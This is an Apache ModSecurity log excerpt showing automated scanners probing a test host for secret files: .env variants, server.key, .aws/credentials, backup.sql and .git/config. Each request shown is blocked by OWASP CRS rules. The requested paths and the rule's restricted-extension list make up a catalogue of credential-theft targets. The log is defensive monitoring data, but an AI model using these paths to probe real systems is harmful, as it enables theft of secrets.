[Fri Aug 29 10:22:03.220964 2025] [:error] [pid 2317385] [client 213.232.87.230:4825] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aLFjK4A_W3VM80HPNENJBwAAAAg&quot;]
[Fri Aug 29 10:22:03.221142 2025] [:error] [pid 2315264] [client 213.232.87.230:27809] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjxAAAAAA&quot;]
[Fri Aug 29 10:22:03.221191 2025] [:error] [pid 2317385] [client 213.232.87.230:4825] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aLFjK4A_W3VM80HPNENJBwAAAAg&quot;]
[Fri Aug 29 10:22:03.221289 2025] [:error] [pid 2315264] [client 213.232.87.230:27809] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjxAAAAAA&quot;]
[Fri Aug 29 10:22:03.221330 2025] [:error] [pid 2317385] [client 213.232.87.230:4825] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aLFjK4A_W3VM80HPNENJBwAAAAg&quot;]
[Fri Aug 29 10:22:03.221430 2025] [:error] [pid 2315264] [client 213.232.87.230:27809] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjxAAAAAA&quot;]
[Fri Aug 29 10:22:03.223574 2025] [authz_core:error] [pid 2317387] [client 213.232.87.230:13691] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Fri Aug 29 10:22:03.267946 2025] [:error] [pid 2316665] [client 213.232.87.230:60705] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKOAAAAAU&quot;]
[Fri Aug 29 10:22:03.268172 2025] [:error] [pid 2316665] [client 213.232.87.230:60705] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKOAAAAAU&quot;]
[Fri Aug 29 10:22:03.268313 2025] [:error] [pid 2316665] [client 213.232.87.230:60705] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;aLFjK7qLCTxXjRrLVthKOAAAAAU&quot;]
[Fri Aug 29 10:22:03.294815 2025] [:error] [pid 2315266] [client 213.232.87.230:46677] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aLFjKw2suCBlf7H8nreXwgAAAAI&quot;]
[Fri Aug 29 10:22:03.295030 2025] [:error] [pid 2315266] [client 213.232.87.230:46677] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aLFjKw2suCBlf7H8nreXwgAAAAI&quot;]
[Fri Aug 29 10:22:03.295211 2025] [:error] [pid 2315266] [client 213.232.87.230:46677] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aLFjKw2suCBlf7H8nreXwgAAAAI&quot;]
[Fri Aug 29 10:22:03.317349 2025] [:error] [pid 2317386] [client 213.232.87.230:57457] [client 213.232.87.230] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG_AAAAAk&quot;]
[Fri Aug 29 10:22:03.317486 2025] [:error] [pid 2317386] [client 213.232.87.230:57457] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG_AAAAAk&quot;]
[Fri Aug 29 10:22:03.317618 2025] [:error] [pid 2317386] [client 213.232.87.230:57457] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aLFjK_Fon5kABpD0WTPG_AAAAAk&quot;]
[Fri Aug 29 10:22:03.337494 2025] [:error] [pid 2315264] [client 213.232.87.230:42535] [client 213.232.87.230] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjxQAAAAA&quot;]
[Fri Aug 29 10:22:03.337714 2025] [:error] [pid 2315264] [client 213.232.87.230:42535] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjxQAAAAA&quot;]
[Fri Aug 29 10:22:03.337862 2025] [:error] [pid 2315264] [client 213.232.87.230:42535] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aLFjK43InCD95wSIz1cjxQAAAAA&quot;]
[Sat Aug 30 01:37:05.194540 2025] [:error] [pid 2337303] [client 93.123.109.7:57870] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLI5oZMRczH8-R4mpk77qwAAAAQ&quot;]
[Sat Aug 30 01:37:05.195049 2025] [:error] [pid 2337303] [client 93.123.109.7:57870] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLI5oZMRczH8-R4mpk77qwAAAAQ&quot;]
[Sat Aug 30 01:37:05.195230 2025] [:error] [pid 2337303] [client 93.123.109.7:57870] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLI5oZMRczH8-R4mpk77qwAAAAQ&quot;]
[Sun Aug 31 12:33:08.743073 2025] [:error] [pid 2367282] [client 198.55.98.93:33756] [client 198.55.98.93] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLQk5O7j6wy0PDn1JdU37QAAAAY&quot;]
[Sun Aug 31 12:33:08.744252 2025] [:error] [pid 2367282] [client 198.55.98.93:33756] [client 198.55.98.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLQk5O7j6wy0PDn1JdU37QAAAAY&quot;]
[Sun Aug 31 12:33:08.744445 2025] [:error] [pid 2367282] [client 198.55.98.93:33756] [client 198.55.98.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLQk5O7j6wy0PDn1JdU37QAAAAY&quot;]
[Sun Aug 31 19:30:55.490387 2025] [:error] [pid 2366625] [client 132.145.146.222:56756] [client 132.145.146.222] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLSGzxUNq0qrvubbHhQx7gAAAAU&quot;], referer: http://pms.test.indacotrentino.com//.env
[Sun Aug 31 19:30:55.490662 2025] [:error] [pid 2366625] [client 132.145.146.222:56756] [client 132.145.146.222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLSGzxUNq0qrvubbHhQx7gAAAAU&quot;], referer: http://pms.test.indacotrentino.com//.env
[Sun Aug 31 19:30:55.490817 2025] [:error] [pid 2366625] [client 132.145.146.222:56756] [client 132.145.146.222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLSGzxUNq0qrvubbHhQx7gAAAAU&quot;], referer: http://pms.test.indacotrentino.com//.env
[Mon Sep 01 10:14:34.688018 2025] [:error] [pid 2392978] [client 23.180.120.244:39024] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLVV6pvB0P1ETmtquLZtqwAAAAc&quot;]
[Mon Sep 01 10:14:34.688312 2025] [:error] [pid 2392978] [client 23.180.120.244:39024] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLVV6pvB0P1ETmtquLZtqwAAAAc&quot;]
[Mon Sep 01 10:14:34.688486 2025] [:error] [pid 2392978] [client 23.180.120.244:39024] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aLVV6pvB0P1ETmtquLZtqwAAAAc&quot;]
[Mon Sep 01 10:14:34.852418 2025] [:error] [pid 2391680] [client 23.180.120.244:39036] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aLVV6t3Px5mqa7e6xgULEgAAAAE&quot;]
